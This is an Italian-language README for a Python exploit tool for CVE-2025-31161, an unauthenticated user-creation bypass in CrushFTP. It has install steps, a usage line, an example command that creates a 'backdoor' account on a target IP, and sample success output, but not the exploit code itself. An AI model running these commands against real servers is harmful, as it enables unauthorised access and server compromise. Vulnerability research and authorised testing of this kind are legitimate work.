CVE-2025-31161 - Exploit di bypass dell'autenticazione per la creazione di utenti in CrushFTP

📌 Descrizione

Questo exploit in Python prende di mira i server CrushFTP vulnerabili a CVE-2025-31161. La vulnerabilità consente la creazione di account utente non autenticata inviando un payload XML appositamente creato alla WebInterface, portando potenzialmente alla compromissione totale del server.

⚠️ Avvertenza

Questo strumento è destinato esclusivamente a scopi educativi e test di sicurezza autorizzati.
L'uso non autorizzato contro sistemi di cui non si possiede o non si ha il permesso esplicito di testare è illegale e non etico.

🧰 Requisiti

• Python 3
• pip3
• Moduli Python:
  • requests
  • colorama

✅ Installa Python3 e pip3

Debian/Ubuntu:

sudo apt update
sudo apt install python3 python3-pip -y

CentOS/RHEL:

sudo yum install python3 python3-pip -y

macOS (con Homebrew):

brew install python3

✅ Installa le dipendenze Python

pip3 install requests colorama

🔧 Utilizzo

python3 CVE-2025-31161.py --target_host <TARGET_IP> [--port <PORT>] [--target_user <ADMIN>] [--new_user <USERNAME>] [--password <PASSWORD>]

🔍 Esempio

python3 CVE-2025-31161.py --target_host 192.168.1.100 --new_user backdoor --password P@ssw0rd!

🧪 Opzioni della riga di comando

🖥️ Output di esempio

[+] Preparing Payloads
  [-] Warming up the target...
  [-] Target is up and running
[+] Sending Account Create Request
  [!] User created successfully!

[+] Exploit Complete! You can now login with:
   [*] Username: AuthBypassAccount
   [*] Password: CorrectHorseBatteryStaple

👨‍💻 Autore

Gaurav Bhattacharjee (G4UR4V007)

📄 Licenza

Questo progetto è concesso in licenza con la Licenza MIT.